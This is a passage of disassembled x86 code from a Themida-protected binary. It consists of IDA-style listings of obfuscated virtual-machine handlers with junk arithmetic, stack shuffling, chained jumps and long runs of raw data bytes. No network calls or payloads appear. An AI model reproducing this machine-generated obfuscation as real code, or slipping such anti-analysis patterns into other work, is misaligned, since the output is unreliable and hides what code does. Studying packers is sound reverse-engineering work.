		dd 9FB3EE81h, 0F089CCDAh, 0FF2E7EE9h
		db 0FFh
byte_59FB2D	db 8Bh,	2 dup(24h)	; DATA XREF: Themida_:0058E130o
		dd 0FEE81EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_59FB35:				; CODE XREF: Themida_:005924BCj
		xor	ebp, [esp]
		mov	esp, [esp]
		inc	byte ptr [esp]
		pushf
		jmp	loc_58E353
; ---------------------------------------------------------------------------
dword_59FB44	dd 582434FFh, 4EC81h, 14890000h, 0B0E95424h, 29FFFF72h
					; DATA XREF: Themida_:0058E094o
		dd 0FFED81FDh, 55554F4Eh, 242C8B5Fh, 4C481h, 0B8500000h
		dd 0
		dd 0FF59AAE9h, 4BAFFh, 0D0290000h, 0DCE9505Ah, 8BFFFF90h
		dd 0C4812414h, 4, 0BB53E1D1h, 3BEDE84h,	15BD931h, 11A4E9CBh
		dd 0C483FFFFh, 2976E904h, 0FA880000h, 0FFAB0DE9h, 0FAE780FFh
		dd 82BF780h, 241C8BF9h,	4C481h,	4AE90000h
		db 6Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59FBC3:				; CODE XREF: Themida_:00597CDEj
		pop	ebx
		jmp	loc_597EC6
; ---------------------------------------------------------------------------
		db 0C0h, 0E4h, 2
		dd 804EC480h, 0A0E958EEh, 57FFFF8Ah, 336D3BBFh,	5ECF8119h
		dd 0E96C6E6Ch, 0FFFF4816h, 405h, 2BF5700h, 29000000h, 0FF505FF8h
		dd 0E9042474h, 0FFFF933Ah, 0BD555753h, 221F1B88h, 0FFE1BAE9h
		dd 4C481FFh, 51000000h,	0C22EE952h, 5166FFFFh, 0FF242C80h
		dd 0FF9D45E9h, 5D0D40FFh, 0E9319153h, 0FFFF2F7Dh, 8124048Bh
		dd 4C4h, 5D545500h, 4C581h, 0C5810000h,	4, 0E9242C87h
		dd 0FFFFB73Eh, 77FFEB81h, 0E1E97331h
		db 9Ah,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59FC5B:				; CODE XREF: Themida_:00596531j
		mov	esi, 4CE100D8h
		dec	esi
		xor	esi, 2636EE7h
		jmp	loc_5954F3
; ---------------------------------------------------------------------------
		dd 0E2895251h, 4C281h, 0EA810000h, 4, 0E9241487h, 0FFFFABFAh
; ---------------------------------------------------------------------------


loc_59FC84:				; CODE XREF: Themida_:00597B69j
		xor	[esp], ecx
		push	dword ptr [esp]
		jmp	loc_59E178
; ---------------------------------------------------------------------------


loc_59FC8F:				; CODE XREF: Themida_:0059E381j
		add	ebp, edx
		pop	edx
		jmp	loc_594F7D
; ---------------------------------------------------------------------------
		db 89h
		dd 31B9240Ch, 3121149Dh, 0F83159CFh, 232355Fh, 0C22110F3h
		dd 0FFC28358h, 56CBF281h, 91E9253Bh
		db 2Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59FCBB:				; CODE XREF: Themida_:0058FCC5j
		and	esi, 39CC29F5h
		jmp	loc_5A12C0
; ---------------------------------------------------------------------------
		dw 5066h
		dd 6602EC83h, 0E9241489h, 0FFFF24DCh
; ---------------------------------------------------------------------------


loc_59FCD4:				; CODE XREF: Themida_:005A2EA8j
		push	ebx
		xor	dword ptr [esp], 532124CAh
		pop	edi
		jmp	loc_5A0A17
; ---------------------------------------------------------------------------


loc_59FCE2:				; CODE XREF: Themida_:0058EEF9j
		pop	ecx
		sub	[esp+4], eax
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_5A0BC3
; ---------------------------------------------------------------------------


loc_59FCF5:				; CODE XREF: Themida_:00591ECBj
		pop	esp
		mov	[esp], cx
		jmp	loc_58E353
; ---------------------------------------------------------------------------
		db 81h
		dd 4ECh, 243C8900h, 0C781E789h,	4, 4EC81h, 0C890000h, 6A9CB924h
		dd 0D9F70D5Ah, 1115E181h, 8751300Fh, 0D1F7240Ch, 0FF3CDCE9h
		dd 581888FFh, 241C8B5Ah, 0FF9E2FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_59FD3D:				; CODE XREF: Themida_:0059AC5Fj
		push	ebp
		mov	ebp, 4FAF63BBh
		jmp	loc_58E3C0
; ---------------------------------------------------------------------------
		dd 0AB1623BDh, 0E9D53106h, 0FFFF071Fh, 81E78957h, 4C7h
		dd 4BE5600h, 29000000h,	7A42E9F7h, 0A568FFFFh, 8900002Ch
		dd 4B9240Ch, 1000000h, 895059CAh, 405E0h, 0E8830000h, 24048704h
		dd 8924248Bh, 74FF2414h, 0D2E90424h
		db 27h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59FD97:				; CODE XREF: Themida_:0059AB4Cj
		push	edx
		jmp	loc_597F7F
; ---------------------------------------------------------------------------
		db 0FFh, 74h, 24h
		dd 48F5904h, 7781E924h,	895DFFFFh, 4C62E9E9h, 0E952FFFFh
		dd 0FFFF5B0Fh
; ---------------------------------------------------------------------------


loc_59FDB8:				; CODE XREF: Themida_:0059D45Fj
		xchg	ebp, [esp]
		jmp	loc_5A161A
; ---------------------------------------------------------------------------
		dd 5624048Fh, 4BEh, 24740100h, 37EEE904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59FDD2:				; CODE XREF: Themida_:005A2B54j
		add	esp, 4
		add	al, 0E9h
		sub	al, 0DCh
		add	al, dh
		add	al, 0DCh
		push	small 4823h
		jmp	loc_595E98
; ---------------------------------------------------------------------------


loc_59FDE9:				; CODE XREF: Themida_:00595FBBj
		mov	ecx, 499A59BBh
		xor	ebp, ecx
		pop	ecx
		push	esi
		jmp	loc_5A019E
; ---------------------------------------------------------------------------
		db 31h
		dd 0EC815BD8h, 4, 68243C89h, 82806EBh, 0FFEB37E9h, 24048BFFh
		dd 0FFB9A5E9h, 5EF301FFh, 15BD889h, 895758C6h, 4C781E7h
		dd 56000000h, 4BEh, 0E9F72900h,	0FFFF0D08h, 81241C8Bh
		dd 4C4h, 70E5E900h, 0D225FFFFh,	0C1390243h, 0D0F707E8h
		dd 5222DC25h, 2258353Eh, 0C3013E50h, 241C8758h,	13A3B95Ch
		dd 0C131651Eh, 8124048Bh, 4C4h,	8BC82100h, 2FE9240Ch, 89FFFF8Ah
		dd 0E0892404h, 392E68h,	24148900h, 0FF11F8E9h, 24348BFFh
		dd 5204C483h, 60E5FBAh,	0EA814A39h, 0FB9F925Dh,	3F213105h
		dd 0E9D00152h, 70Ah, 0E99CC884h, 0FFFEE4A3h
dword_59FEB0	dd 9D1C77FFh, 0D3665966h, 0E99C241Ch, 0FFFFEE16h, 0BBE9D8F7h
					; DATA XREF: Themida_:0058E10Co
		dd 1000028h, 0C2835DEAh, 24143304h, 33241431h, 5EE92414h
		db 54h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59FEDB:				; CODE XREF: Themida_:00599F2Cj
		pop	eax
		sub	bl, dl
		pop	edx
		jmp	loc_59B528
; ---------------------------------------------------------------------------
		dd 1885E945h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59FEEA:				; CODE XREF: Themida_:005A26F3j
		sub	ecx, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		jmp	loc_59D937
; ---------------------------------------------------------------------------


loc_59FEFB:				; CODE XREF: Themida_:005A1E46j
		push	ecx
		mov	ecx, 4
		add	eax, ecx
		jmp	loc_5916A8
; ---------------------------------------------------------------------------
		dd 34FFF428h, 0C4815A24h, 4, 8058E588h,	0EC8142EDh, 4
		dd 88240489h, 58E688ECh, 0FF7F35E9h
		db 0FFh
byte_59FF2D	db 66h,	8Bh, 4		; DATA XREF: Themida_:0058E1BCo
		dd 1E476824h, 2C890000h, 45606824h, 24890000h, 24048324h
		dd 42685D04h, 8900000Ch, 51502414h, 42F9BA52h, 8EE96785h
		dd 0BFFFFF94h, 4B43081Fh, 42DAEA81h, 0FA291AA8h, 42DAC281h
		dd 82E91AA8h, 8FFFFFE7h, 248B2404h, 241C8924h, 0DB685B54h
		dd 0E900002Eh, 0FFFF6F0Bh
; ---------------------------------------------------------------------------


loc_59FF88:				; CODE XREF: Themida_:0059986Bj
		mov	[esp], edx
		mov	edx, 27FF10DDh
		inc	edx
		jmp	loc_59D119
; ---------------------------------------------------------------------------
		dw 0B252h
		dd 0A712E9ECh, 5058FFFFh, 0A0B35352h, 88D88850h, 397E9C6h
		dd 6857FFFFh, 4, 3EE9815Fh, 290D3476h, 3EC181F9h, 5F0D3476h
		dd 31240C33h, 0C33240Ch, 24248B24h, 0E9240489h,	0FFFFDDC3h
		dd 68241489h, 4, 0E9D6015Ah, 0FFFF905Ch, 4C4835Ah, 0C8BC800h
		dd 3079E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59FFF6:				; CODE XREF: Themida_:0059992Ej
		xor	eax, ebx
		jmp	loc_59F1D4
; ---------------------------------------------------------------------------


loc_59FFFD:				; CODE XREF: Themida_:00593472j
		push	edi
		push	edx
		mov	edx, 740A4E26h
		mov	edi, edx
		mov	edx, [esp]
		jmp	loc_595E8A
; ---------------------------------------------------------------------------
		dw 0B151h
		dd 6074E9F4h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A0016:				; CODE XREF: Themida_:0059B268j
		add	al, ch
		jmp	loc_59CF1A
; ---------------------------------------------------------------------------


loc_5A001D:				; CODE XREF: Themida_:00595B0Aj
		jmp	loc_58E353
; ---------------------------------------------------------------------------
		dw 0E95Ah
		dd 0FFFF9486h
; ---------------------------------------------------------------------------


loc_5A0028:				; CODE XREF: Themida_:0058F4B2j
		shl	ebp, 8
		jmp	loc_595FBA
; ---------------------------------------------------------------------------
		dd 4C381h, 0EB830000h, 241C8704h, 241C895Ch, 0FF6298E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A0045:				; CODE XREF: Themida_:00590A09j
		pop	ebp
		shr	ecx, 5
		neg	ecx
		jmp	loc_59524D
; ---------------------------------------------------------------------------
		dd 397C6856h, 0E95E689Eh, 0FFFFBD7Ah, 0C05AD488h, 0DE906E4h
		dd 59000030h, 4C181h, 51560000h, 4B9h, 59CE8900h, 0FCE9F101h
		dd 89FFFF3Bh, 4C781E7h,	81000000h, 4C7h, 243C8700h, 2530E95Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5A0096:				; CODE XREF: Themida_:00592E39j
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edi
		mov	edi, 3A8E4079h
		sub	eax, edi
		pop	edi
		push	dword ptr [esp]
		mov	edx, [esp]
		push	ecx
		mov	ecx, esp
		push	ebx
		mov	ebx, 4
		add	ecx, ebx
		pop	ebx
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_59F2C8
; ---------------------------------------------------------------------------
		dd 8F04C483h, 8BE92404h, 56FFFF75h, 0EE9E689h, 58FFFF67h
		dd 0FF0B5AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A00E5:				; CODE XREF: Themida_:00592341j
		pop	edx
		not	edx
		xchg	edx, ebx
		xor	ebx, 0F06F093Ah
		add	esi, 5EF8332Eh
		sub	esi, ebx
		sub	esi, 5EF8332Eh
		jmp	loc_59F94A
; ---------------------------------------------------------------------------


loc_5A0103:				; CODE XREF: Themida_:0059A6F9j
		add	ebp, 4
		add	ebp, 4
		jmp	loc_593BFA
; ---------------------------------------------------------------------------
		dd 0EDB6853h, 815B7FA3h, 3A60E8C3h, 68525059h, 0EC76C98h
		dd 0E9h, 0ACE95A00h, 5BFFFFADh,	0B60FC330h, 0E95452C0h
		dd 0FFFFBE48h, 0E95BDF01h, 0FFFFB456h
dword_5A0148	dd 240C8B66h, 0E9E38953h, 0FFFFFEFCh, 0CE0EA9BBh, 5BD80145h
					; DATA XREF: Themida_:0058E1C8o
		dd 1BC9BE56h, 0F001494Ch, 0BB535D5Eh, 32284F15h, 8B49362Dh
		dd 5D80176h, 768B4936h,	1ED12D5Bh, 0D829294Bh, 287FB951h
		dd 0E181416Eh, 9E87676h, 0FFD5BBE9h, 0C5815FFFh, 0B69311ACh
		dd 0AF90E956h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A019E:				; CODE XREF: Themida_:0059FDF2j
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], ecx
		jmp	loc_594BD4
; ---------------------------------------------------------------------------
		db 5Eh,	81h, 0C6h
		dd 4, 8704EE83h, 895C2434h, 9E92404h, 81FFFF4Bh, 4C4h
		dd 0E9C53100h, 0FFFFEB26h, 81241C8Bh, 4C4h, 0D296E900h
		dd 0C483FFFFh, 167EE904h, 0F031FFFFh, 0FFF2D5E9h, 88E388FFh
		dd 88BE9D9h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5A01FE:				; CODE XREF: Themida_:005934ABj
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 4
		add	eax, ebp
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_5A3020
; ---------------------------------------------------------------------------


loc_5A0216:				; CODE XREF: Themida_:0059BD50j
		mov	esp, [esp]
		shr	ecx, 7
		jmp	loc_59EEB5
; ---------------------------------------------------------------------------


loc_5A0221:				; CODE XREF: Themida_:005A2C06j
		and	ebx, edx
		pop	edx
		push	ebx
		not	dword ptr [esp]
		jmp	loc_5A2E98
; ---------------------------------------------------------------------------


loc_5A022D:				; CODE XREF: Themida_:0058EAFDj
		add	esp, 4
		jmp	loc_592C71
; ---------------------------------------------------------------------------
		db 8Bh,	34h, 24h
		dd 5F04C483h, 0FF66C331h, 0E36DE930h
		db 0FEh, 0FFh
word_5A0246	dw 8F64h		; DATA XREF: Themida_:0058E120o
		dd 0E105E902h
		db 0FEh, 0FFh
word_5A024E	dw 34FFh		; DATA XREF: Themida_:0058E0E8o
		dd 4B81E924h, 2C89FFFFh, 65936824h, 24890000h, 24048124h
		dd 4, 2695E9h, 24048700h, 2E1CE95Ch, 3C89FFFFh,	4BF24h
		dd 0EA810000h, 223744EFh, 8156FA01h, 4ECh, 223AE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A0292:				; CODE XREF: Themida_:0059325Ej
		add	esp, 4
		push	ebp
		jmp	loc_59005F
; ---------------------------------------------------------------------------
		dw 405h
		dd 87000000h, 815C2404h, 0F04342F3h, 243C8B70h,	56E468h
		dd 55BBE900h, 8B59FFFFh, 0C483243Ch, 2DC68104h,	167FA5Bh
		dd 74DE9DEh, 515BFFFFh,	6C2848B5h, 80590424h, 8028242Ch
		dd 8A102404h, 0C4832424h, 0FEC4FE04h, 0A5F480CCh, 0FEF8DEE9h
		dd 80E95FFFh, 9FFFFBEh,	0BB5358C1h, 0E6EC4E49h,	5E9D929h
		dd 81FFFFA8h, 72774EE9h, 0FFE98315h, 82A5C181h,	0CB89EEE9h
		dd 27EB8159h, 8134C02Dh, 582770C6h, 9AC68146h, 14E3B39h
		dd 9AEE81DEh, 814E3B39h, 582770EEh, 0C6815B46h,	4, 8B243487h
		dd 0C3812424h, 4, 280868h, 24348900h, 831112BEh, 31DE3140h
		dd 0F7DE31F3h, 56E068DBh, 34890000h, 8DE95324h
		db 70h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A036F:				; CODE XREF: Themida_:0059B164j
		xor	[esp+4], edx
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		push	dword ptr [esp]
		pop	eax
		sub	esp, 4
		mov	[esp], esi
		sub	esp, 4
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		jmp	loc_5A0A60
; ---------------------------------------------------------------------------
		dd 0A452E95Ah, 2C33FFFFh, 242C3124h, 5C242C33h,	840FC00Bh
		dd 2B11h, 521C77FFh, 0A35D82BAh, 536EE967h, 5B54FFFFh
		dd 4C381h, 17E90000h
		db 41h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A03D3:				; CODE XREF: Themida_:00599F90j
		add	esp, 4
		add	esi, 1AD3664h
		add	esi, ebx
		jmp	loc_593716
; ---------------------------------------------------------------------------


loc_5A03E3:				; CODE XREF: Themida_:0058F910j
		push	ebx
		mov	ebx, 38671BFFh
		jmp	loc_59AC59
; ---------------------------------------------------------------------------
		dw 0EB80h
		dd 80CB0018h, 516618C3h, 0FF43A0E9h, 4DD60DFFh,	0BD553185h
		dd 300C47D9h, 0F25CD81h, 0EDD11FFAh, 792BBF57h,	0E5E92037h
		dd 8BFFFF91h, 0C4812404h, 4, 0FFB12FE9h, 0EA305BFFh, 0F6CAFE59h
		dd 6EB050D2h, 3058C228h, 0D3E95AD1h
		db 7Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A043F:				; CODE XREF: Themida_:005909FDj
		mov	dh, 0E3h
		add	bh, dh
		pop	dx
		sub	al, bh
		push	dword ptr [esp]
		pop	ebx
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		pop	cx
		xor	bl, al
		movzx	eax, al
		jmp	dword ptr [edi+eax*4]
; ---------------------------------------------------------------------------
		db 61h,	0C3h
word_5A046A	dw 0E9ADh		; DATA XREF: Themida_:0058E070o
		dd 0FFFFED18h, 46CBE56h, 0F7011C34h, 81EF015Eh,	34046CEFh
		dd 328AE91Ch, 0D501FFFFh, 5124148Bh, 0C181E189h, 4, 4C181h
		dd 0C870000h, 20BFE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5A04A2:				; CODE XREF: Themida_:00592599j
		add	eax, 58B03C06h
		add	eax, edx
		sub	eax, 58B03C06h
		pop	edx
		add	eax, 4
		push	eax
		push	dword ptr [esp+4]
		jmp	loc_5987A6
; ---------------------------------------------------------------------------
		dw 148Bh
		dd 0E2895224h, 4C281h, 7EE90000h, 83FFFEF9h, 348704EEh
		dd 1DE95C24h, 66FFFF6Ah, 66CCB60Fh, 66609B68h, 66240C89h
		dd 66C8B60Fh, 60E99C51h, 0BFFFFEDEh, 5B0A00CDh,	3305C781h
		dd 0F929BA5Ah, 0FEEBA4E9h, 243C87FFh, 0AC5BE95Ch, 8951FFFFh
		dd 79CFE9E1h, 0C681FFFFh, 482A6351h, 0EE81EE29h, 482A6351h
		dd 0FF4093E9h, 88D588FFh, 0ABCDE9E8h, 148BFFFFh, 4C48324h
		dd 0E904C483h, 0FFFF9A1Dh
; ---------------------------------------------------------------------------


loc_5A0540:				; CODE XREF: Themida_:0059825Bj
		pop	cx
		push	edx
		mov	dl, 45h
		and	dl, 6Ch
		push	ecx
		mov	cl, 99h
		xor	dl, cl
		pop	ecx
		push	ecx
		mov	cl, 10h
		push	small 72CFh
		mov	[esp], ax
		mov	ah, cl
		not	ah
		mov	cl, ah
		pop	ax
		jmp	loc_597AE9
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 5104C483h, 3F0E50B9h, 35E94142h, 89FFFF46h, 52BA2414h
		dd 315A0300h, 24148BD0h, 0FFEC06E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A058D:				; CODE XREF: Themida_:0059F52Dj
		pop	ecx
		neg	ecx
		and	ecx, 257A2E21h
		and	ecx, 705467E3h
		add	ecx, 386E0AB2h
		jmp	loc_58F140
; ---------------------------------------------------------------------------


loc_5A05A7:				; CODE XREF: Themida_:00595CC2j
		xor	ebx, 49D8A1FBh
		jmp	loc_58E88A
; ---------------------------------------------------------------------------
		dw 312Dh
		dd 0E9523F21h, 0FFFF892Ch, 0E904C483h, 0FFFF6D4Eh, 4C781h
		dd 0B9510000h, 3437319Bh, 66CBC981h, 0E9814174h, 266C719Ah
		dd 3DB6F181h, 0E1C10E07h, 4C18108h, 0E9F3C409h,	0FFFF01D5h
		dd 8F4BD55h, 0F5813620h, 51620E92h, 2CE581h, 0C5812101h
		dd 0A747822h, 505DEA29h, 0B8h, 31D00100h, 28ADE918h, 0D8010000h
		dd 5329FD2Dh, 241C8B2Dh, 4C481h, 0D8010000h, 8904EC83h
		dd 79682434h, 5E570262h, 0C104182Dh, 83F02979h,	76E904ECh
		db 69h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A0647:				; CODE XREF: Themida_:0059E112j
		and	ch, 1Ah
		jmp	loc_59B261
; ---------------------------------------------------------------------------
		db 0FFh
		dd 8B042474h, 0F4E92404h, 50FFFF61h, 8B172CB8h,	0E9C58912h
		dd 0FFFFB211h, 5FB6C681h, 0F001FEFFh, 0E9D0015Eh, 0FFFF8919h
		dd 33241C31h, 3CE9241Ch, 59FFFFE6h, 4EC81h, 1C890000h
		dd 2474FF24h, 48F5B04h,	24248B24h, 0E9240489h, 0FFFEDCB3h
; ---------------------------------------------------------------------------


loc_5A06A0:				; CODE XREF: Themida_:005A0F61j
		push	5090DCBCh
		push	dword ptr [esp]
		pop	ebp
		jmp	loc_58EACD
; ---------------------------------------------------------------------------


loc_5A06AE:				; CODE XREF: Themida_:0059AB2Dj
		xchg	ecx, [esp]
		pop	esp
		xor	dh, 2Fh
		add	al, dh
		pop	edx
		push	small 7D1h
		mov	[esp], dx
		push	eax
		jmp	loc_5996C6
; ---------------------------------------------------------------------------
		dw 3433h
		dd 24343124h, 0FFBD60E9h, 242C89FFh, 533168h, 24048900h
		dd 6223E668h, 0FF505822h, 78E92404h, 0FFFFFEECh, 0E95F2434h
		dd 0FFFF0633h, 50E68956h, 235F4AB8h, 0F7BEE964h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A0702:				; CODE XREF: Themida_:005A0849j
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_59CECD
; ---------------------------------------------------------------------------
		db 51h
		dd 3BCD8B9h, 0C2E951B5h, 83FFFF1Dh, 2C8904ECh, 24A0BD24h
		dd 0F581016Eh, 61A956EDh, 4BBD5551h, 0E934837Fh, 0FFFF12A4h
		dd 1AE9E289h, 5000000Fh, 0F480E7B4h, 990E92Ch, 248B0000h
		dd 241C8924h, 8B2434FFh, 0C4812404h, 4,	4EC81h,	14890000h
		dd 0F0BFE924h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_5A0766:				; CODE XREF: Themida_:0059DA07j
		push	eax
		mov	eax, 5C205D94h
		not	eax
		sub	eax, 64D42237h
		dec	eax
		add	eax, 0EBF2A81Ah
		xor	ebx, eax
		pop	eax
		jmp	loc_59EA8E
; ---------------------------------------------------------------------------
		db 33h,	0Ch, 24h
		dd 33240C31h, 8B5C240Ch, 0AEE92404h, 5CFFFF21h,	0FF6BABE9h
		dd 0D3295EFFh, 31A5C381h, 0EB815E6Dh, 75492DDEh, 33C3815Ah
		dd 0E940E73Dh, 0FFFFA1F3h, 81E28952h, 4C2h, 97D3E900h
		dd 0FE31FFFFh, 0FE31F731h, 0E9243431h, 272h, 5E2414F7h
		dd 0FF5A74E9h, 0F9EA81FFh, 5B0ADC72h, 0E9241433h, 1431h
		dd 226BBBBEh, 32E95233h, 80FFFF24h, 0D1282FE9h,	8B2FC180h
		dd 0C4812414h, 4, 0E9C88850h, 0FFFF7583h, 0B050DEF6h, 0E9C62856h
		dd 0FFFF14D8h, 0D091EF81h, 0A2E9FA8Dh
		db 30h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A0823:				; CODE XREF: Themida_:0058F52Dj
		mov	al, 2Fh
		dec	al
		jmp	loc_5A3005
; ---------------------------------------------------------------------------
		dd 56E78957h, 752A5DBEh, 0E4A1E928h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A083A:				; CODE XREF: Themida_:0059D93Bj
		mov	[esp], ebx
		mov	bl, 68h
		mov	al, 0E6h
		xor	al, bl
		pop	ebx
		push	ecx
		mov	cl, al
		mov	dh, cl
		jmp	loc_5A0702
; ---------------------------------------------------------------------------
		dw 0DFF7h
		dd 226DF781h, 0FA31FFA0h, 81243C8Bh, 4C4h, 8BD00100h, 0C4832414h
		dd 4C08304h, 31240433h,	0F6E92404h, 81FFFF86h, 4C4h, 5B545300h
		dd 0FF7D18E9h, 4C481FFh, 52000000h, 0F14360BAh,	0DEC3814Eh
		dd 6875492Dh, 765Ah, 52243489h,	0BB6E7ABAh, 0DA2DBE74h
		dd 0D629D756h, 58EE815Ah, 557DFD6Ah, 200350BDh,	86C58113h
		dd 4D49D778h, 0F74DD5F7h, 0CFC581DDh, 31B067F2h, 0C6815DEEh
		dd 74ABC1A8h, 0BEE9F329h, 66FFFFFEh, 881EB450h,	0ADA3E9E5h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A08E6:				; CODE XREF: Themida_:005962B5j
		not	dword ptr [esp]
		pop	edx
		jmp	loc_59C419
; ---------------------------------------------------------------------------


loc_5A08EF:				; CODE XREF: Themida_:0058EC07j
		and	esi, ebp
		pop	ebp
		shr	esi, 5
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 7C6D477Eh
		add	ebx, 6911700Ch
		push	edx
		mov	edx, 23C07DAEh
		and	ebx, edx
		pop	edx
		add	ebx, 3CE158C0h
		not	ebx
		jmp	loc_59233E
; ---------------------------------------------------------------------------
		dd 10242C80h, 28240480h, 0FEFA3CE9h, 0D0E950FFh, 83FFFF8Ah
		dd 0C32904C4h, 5BDE0158h, 0FF76A2E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A093D:				; CODE XREF: Themida_:00596DF7j
		push	ebx
		push	ebp
		mov	ebp, 1F1111A3h
		neg	ebp
		not	ebp
		shr	ebp, 1
		shr	ebp, 5
		jmp	loc_598DF9
; ---------------------------------------------------------------------------


loc_5A0952:				; CODE XREF: Themida_:0058E35Fj
		add	ebp, ebx
		mov	ebx, [esp]
		add	esp, 4
		push	ebx
		mov	ebx, 4
		sub	ebp, ebx
		jmp	loc_59C162
; ---------------------------------------------------------------------------


loc_5A096A:				; CODE XREF: Themida_:00597526j
		and	eax, ebx
		push	dword ptr [esp]
		mov	ebx, [esp]
		push	ebp
		jmp	loc_59179B
; ---------------------------------------------------------------------------
		dd 76F9E950h, 3487FFFFh, 595E924h, 0DF01FFFFh, 0F781595Bh
		dd 6E523271h, 315FFB01h, 26EE9D8h, 2C890000h, 565D5424h
		dd 4BEh, 5EF50100h, 4B850h, 0C5290000h,	0FF3DB8E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A09B5:				; CODE XREF: Themida_:0059396Ej
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	3E7h
		mov	[esp], edi
		push	esp
		pop	edi
		add	edi, 4
		add	edi, 4
		push	69CCh
		mov	[esp], edi
		push	dword ptr [esp+4]
		mov	edi, [esp]
		jmp	loc_59CAD5
; ---------------------------------------------------------------------------
byte_5A09E9	db 0ADh, 0E9h, 0FCh	; DATA XREF: Themida_:0058E0C4o
		dd 5D00000Eh, 4BA52h, 0D5010000h, 2D7BE95Ah, 0C481FFFFh
		dd 4, 0FFEC5DE9h, 5BD901FFh, 4B850h, 0FAE90000h
		db 8Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A0A17:				; CODE XREF: Themida_:0059FCDDj
		push	esi
		mov	esi, 64883F4Ch
		xor	esi, 1DC769B9h
		dec	esi
		not	esi
		add	esi, 0CC707BBFh
		jmp	loc_59CCCA
; ---------------------------------------------------------------------------
		db 0BEh, 9, 77h
		dd 0EE811308h, 820644Ch, 0EF4CE953h, 3433FFFEh,	24343124h
		dd 0FF50D7E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A0A4D:				; CODE XREF: Themida_:00597DE9j
		sub	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		mov	[esp], eax
		jmp	loc_58E353
; ---------------------------------------------------------------------------


loc_5A0A60:				; CODE XREF: Themida_:005A039Bj
		pop	esi
		jmp	loc_5A315A
; ---------------------------------------------------------------------------
		dw 0D601h
		dd 2C6815Ah, 81000000h,	4ECh, 24348900h, 42474FFh, 0FF15D5E9h
		dd 4C683FFh, 0FFDC30E9h, 0D0E95BFFh, 81FFFFCAh,	4C2h, 0EFFE900h
		dd 0F7890000h, 8124348Bh, 4C4h,	4EC8100h, 89000000h, 54B9240Ch
		dd 8174B720h, 907F0EEFh, 0E9CF0148h, 0FFFFD257h
; ---------------------------------------------------------------------------


loc_5A0AC0:				; CODE XREF: Themida_:0058FC63j
		sub	ebp, 1
		push	esi
		mov	esi, 1
		sub	ebp, esi
		jmp	loc_59618F
; ---------------------------------------------------------------------------
		db 0F7h
		dd 4E8C1D8h, 17AD9C35h,	20A7E97Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5A0AE2:				; CODE XREF: Themida_:0059BB47j
		or	dl, 61h
		add	dl, 98h
		sub	ah, dl
		pop	edx
		dec	ah
		shr	ah, 4
		jmp	loc_5A11FE
; ---------------------------------------------------------------------------
		db 66h,	0BEh, 64h
		dd 0F10166FBh, 2D665E66h, 29660186h, 860566C8h,	2434FF01h
		dd 0FF1E84E9h, 0E9C831FFh, 0FFFEF00Ah
dword_5A0B18	dd 535166ACh, 18E9F6B7h, 81FFFFFCh, 76601FEFh, 0CDEDE922h
					; DATA XREF: Themida_:0058E2F8o
		dd 8159FFFFh, 5C0736C2h, 0E3C28125h, 5E59BA77h,	2474FF52h
		dd 48F5A04h, 0E8C15C24h, 0D985E90Ah, 0BA52FFFFh, 242A0CA9h
		dd 34FFD789h, 0C4835A24h, 59C78104h, 1F53A38h, 8D89E9FBh
		dd 168FFFFh, 8900004Eh,	5D54242Ch, 81E38953h, 4C3h, 70CFE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A0B82:				; CODE XREF: Themida_:00592876j
		sub	esi, 2AD6566Ch
		add	esi, edi
		push	ebp
		mov	ebp, 66DE7309h
		or	ebp, 176B36E2h
		jmp	loc_58E4E4
; ---------------------------------------------------------------------------
		db 89h
